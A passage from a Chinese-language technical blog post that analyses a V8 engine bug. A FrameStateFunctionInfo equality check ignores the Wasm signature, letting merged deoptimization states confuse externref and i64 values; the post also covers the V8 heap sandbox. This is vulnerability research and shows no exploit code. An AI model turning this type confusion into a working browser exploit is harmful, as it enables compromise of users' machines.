leaf="">优化代码不一定将这些值保留在原始形式中。一个局部变量可能存储在寄存器中、被折叠为常量，或者被完全移除。因此，编译器在可能离开优化代码的点上附加了去优化元数据。在 TurboFan 和 Turboshaft 中，这种状态是使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点表示的。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">一个简化的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 包含：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">重建栈帧所需的值，例如参数和局部变量。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">当当前操作被内联到另一个函数中时，其外部的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf="">。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateInfo</span></code><span leaf="">，描述栈帧的类型、其延续点以及函数特定的元数据。</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">编译器可以嵌套这些状态。如果一个访问器及其 JS-to-Wasm 包装器已经内联到优化的调用者中，那么内部的延续状态会指向外部的 JavaScript 状态。去优化器会遍历该链来重建逻辑调用栈，即使这些调用在优化的机器代码中已经不再作为单独的物理栈帧存在。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">去优化可以通过两种相关的方式发生。</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">急切去优化</span></strong><span leaf="">：当检查失败时立即发生。此时，重建栈帧所需的所有值在去优化点都可用。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">延迟去优化</span></strong><span leaf="">：与调用相关联。当另一个函数正在运行时，优化函数可能被标记为需要去优化，但实际转换只会在该调用返回时发生。</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">延迟去优化需要特别处理调用结果。结果在创建 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 时并不存在，因此它不会被列为普通输入。相反，去优化器从机器返回寄存器中获取它，并将其添加到延续栈帧中。然后，执行通过一个延续内置函数恢复，就好像优化调用正常返回一样。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于由 TurboFan 内联的 JS-to-Wasm 调用，V8 会创建一个内部延续 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf="">，其类型为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kJSToWasmBuiltinContinuation</span></code><span leaf="">。其函数信息使用了一个派生类来存储 Wasm 签名：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">class</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">JSToWasmFrameStateFunctionInfo</span></span><span leaf=""> :</span></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">public</span></span><span leaf=""> FrameStateFunctionInfo {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">public</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> wasm::CanonicalSig* </span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">signature</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">()</span></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span></span><span leaf="">{ </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> signature_; }</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">private</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> wasm::CanonicalSig* </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> signature_;</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这个签名不仅仅是信息性的。在代码生成期间，V8 从其中派生出 Wasm 返回类型，并将该类型序列化到去优化数据中。如果发生延迟去优化，去优化器会使用记录的返回类型来具体化结果。</span></p><h4 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">具体化 Wasm 返回值</span></h4><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于 JS-to-Wasm 延迟去优化，在机器码层面调用已经返回。因此，去优化器根据返回寄存器和记录的 Wasm 返回类型来重建调用结果：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">TranslatedValue </span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">Deoptimizer::TranslatedValueForWasmReturnKind</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">(</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">std</span></span><span leaf="">::optional&lt;wasm::ValueKind&gt; wasm_call_return_kind)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (wasm_call_return_kind) {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (wasm_call_return_kind.value()) {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kI32:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewInt32(</span><span leaf=""><br/></span><span leaf="">            &amp;translated_state_,</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">static_cast</span></span><span leaf="">&lt;</span><span style="color: #569CD6;line-height: 26px;"><span leaf="">int32_t</span></span><span leaf="">&gt;(input_-&gt;GetRegister(kReturnRegister0.code())));</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kI64:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewInt64ToBigInt(</span><span leaf=""><br/></span><span leaf="">            &amp;translated_state_,</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">static_cast</span></span><span leaf="">&lt;</span><span style="color: #569CD6;line-height: 26px;"><span leaf="">int64_t</span></span><span leaf="">&gt;(input_-&gt;GetRegister(kReturnRegister0.code())));</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kF32:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewFloat(</span><span leaf=""><br/></span><span leaf="">            &amp;translated_state_,</span><span leaf=""><br/></span><span leaf="">            input_-&gt;GetFloatRegister(wasm::kFpReturnRegisters[</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]).code());</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kF64:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewDouble(</span><span leaf=""><br/></span><span leaf="">            &amp;translated_state_,</span><span leaf=""><br/></span><span leaf="">            input_-&gt;GetDoubleRegister(wasm::kFpReturnRegisters[</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]).code());</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kRefNull:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> wasm::kRef:</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewTagged(</span><span leaf=""><br/></span><span leaf="">            &amp;translated_state_,</span><span leaf=""><br/></span><span leaf="">            Tagged&lt;Object&gt;(input_-&gt;GetRegister(kReturnRegister0.code())));</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">default</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        UNREACHABLE();</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TranslatedValue::NewTagged(&amp;translated_state_,</span><span leaf=""><br/></span><span leaf="">                                    ReadOnlyRoots(isolate()).undefined_value());</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">去优化器不会询问原始 Wasm 函数它返回了什么；它信任从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 序列化而来的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">wasm_call_return_kind</span></code><span leaf="">。对于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kI64</span></code><span leaf=""> 和引用返回，它都读取同一个机器返回寄存器 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kReturnRegister0</span></code><span leaf="">。唯一的区别是如何解释这些位：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kI64</span></code><span leaf=""> 将寄存器值强制转换为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">int64_t</span></code><span leaf=""> 并将其装箱为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">BigInt</span></code><span leaf="">，而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kRef</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kRefNull</span></code><span leaf=""> 将寄存器值包装为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">Tagged&lt;Object&gt;</span></code><span leaf="">。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这也是为什么当与 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 混淆时，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 情况会泄漏一个完整的 64 位标记值。指针压缩影响存储在堆字段中的许多标记值，但编译器图中的 Wasm 引用值使用标记的寄存器表示形式。在指针压缩的构建中，该寄存器表示形式是一个解压缩后的堆指针，或者一个 Smi。当去优化器读取 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">kReturnRegister0</span></code><span leaf=""> 时，没有单独的“32 位压缩指针加基址”对需要重建；寄存器已经包含了完整的标记值。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">因此，如果记录的返回类型来自错误的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf="">，去优化器会直接将相同的 64 位位模式重新解释为错误的 JavaScript 值类型。这就是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 可以被具体化为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf="">，或者 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 可以被具体化为对象引用的关键点。</span></p><h4 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 18px;"><code><span leaf="">FrameState</span></code><span leaf=""> 合并</span></h4><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">一个微妙之处是：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点在被序列化到去优化数据之前，仍然是编译器图中的节点。这意味着图优化也可以看到它们。这里相关的优化是</span><strong style="font-weight: bold;color: black;"><span leaf="">公共子表达式消除</span></strong><span leaf="">，也称为</span><strong style="font-weight: bold;color: black;"><span leaf="">全局值编号</span></strong><span leaf="">。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">公共子表达式消除本身不是去优化器的一部分，但它可以影响去优化器稍后使用的元数据。如果两个图节点具有相同的输入和等价的元数据，编译器可以保留第一个节点，并用它替换第二个节点的使用。对于普通操作，这消除了冗余工作。对于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点，这意味着两个去优化状态可以被合并。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">只有当两个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点在去优化时可以互换时，合并它们才是安全的。Turboshaft 首先使用一个快速哈希来定位可能的匹配项，然后使用相等性运算符进行完整比较。该比较必须包含影响栈帧重建方式的每个字段。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 的哈希特意只使用了元数据的一小部分，包括其弃绝 ID。哈希冲突是预期会发生的，其本身并不是漏洞：在找到具有相同哈希值的候选节点后，值编号会比较操作的输入和完整选项。因此，正确性的边界在于相等性比较。如果它认为语义上不同的去优化状态是相等的，一个就可以被另一个替换。</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">V8 堆沙箱</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">V8 堆沙箱是一个进程内的软件故障隔离机制，它将源自不受信任的 JavaScript 或 WebAssembly 代码的内存破坏漏洞限制在进程虚拟地址空间的一个子集区域，即 V8 堆沙箱区域内。V8 堆沙箱假设攻击者可以通过典型的传统 V8 漏洞（addrof 和 fakeobj）任意且并发地读取和写入 V8 堆沙箱区域内的内存。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在不失一般性的前提下，V8 堆沙箱的实现可以被视为为寻址操作增加了一个额外的翻译层。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这让你想起了操作系统课程中的地址翻译吗？</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">V8 沙箱目前是一个 1 TB 大的区域，包含了所有 V8 堆（位于沙箱开头的 4GB V8 指针压缩笼中）、ArrayBuffer 后备存储和 Wasm 后备缓冲区。V8 堆沙箱中的寻址操作可以描述如下：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">压缩指针：32 位指针，这是在 V8 堆沙箱中使用的指针表示形式。压缩指针笼分配在 V8 堆沙箱区域的开头。当解引用压缩指针时，引擎将压缩指针笼的基址加到压缩指针上，得到 V8 堆沙箱区域内的实际地址。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">沙箱化指针：位于沙箱内的对象可以使用从沙箱基址开始的 40 位偏移量来引用。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">指针表：V8 需要引用沙箱外的对象。这些对象通过指针表来引用，指针表也位于沙箱外，包括 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">CodePointerTable</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">TrustedPointerTable</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">ExternalPointerTable</span></code><span leaf="">。指针表用于存储沙箱外对象的实际地址，并带有内联的类型标志。也通过在初始化期间为每个表预留固定大小的虚拟内存块并使用左移索引来防止对这些表的越界访问。</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">最后，我们可以将 V8 堆沙箱总结如下：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="502781935" data-ratio="1.6265984654731458" data-s="300,640" type="block" data-type="png" data-w="782" style="width:274px;height:446px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8ce573d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTKdPSwEibsZj8QGrsJ3Yx9ZCPNP58S3ZuMR9ibtvBEvMDdcdu7VUPU3vViaGSdKogDc6Nv4hYnJzvJ2TwSaOCfJxY6JxkC7AX5XgyE39VwYfiaI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">漏洞所在</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">漏洞出在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateFunctionInfo</span></code><span leaf=""> 的相等性运算符中：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">bool</span></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">operator</span></span><span leaf="">==(FrameStateFunctionInfo </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf="">&amp; lhs,</span><span leaf=""><br/></span><span leaf="">                FrameStateFunctionInfo </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf="">&amp; rhs) {</span><span leaf=""><br/></span><span style="color: #57A64A;font-style: italic;line-height: 26px;"><span leaf="">// ...</span></span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> lhs.type() == rhs.type() &amp;&amp;</span><span leaf=""><br/></span><span leaf="">         lhs.parameter_count() == rhs.parameter_count() &amp;&amp;</span><span leaf=""><br/></span><span leaf="">         lhs.max_arguments() == rhs.max_arguments() &amp;&amp;</span><span leaf=""><br/></span><span leaf="">         lhs.local_count() == rhs.local_count() &amp;&amp;</span><span leaf=""><br/></span><span leaf="">         lhs.shared_info().equals(rhs.shared_info()) &amp;&amp;</span><span leaf=""><br/></span><span leaf="">         lhs.bytecode_array().equals(rhs.bytecode_array());</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">JSToWasmFrameStateFunctionInfo</span></code><span leaf=""> 继承自 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateFunctionInfo</span></code><span leaf="">，并添加了上述描述的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">signature_</span></code><span leaf=""> 字段。然而，相等性运算符接受对基类的引用，并且只比较基类中的字段。它从未比较 Wasm 签名。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">缺少比较这一点很容易被忽略，因为基类已经包含几个 Wasm 特定的字段，例如 Wasm 函数索引和 Liftoff 帧大小。这些字段在完整相等性运算符的早期就已经被检查。它们被其他 Wasm 帧状态类型使用，但并不能替代派生的 JS-to-Wasm 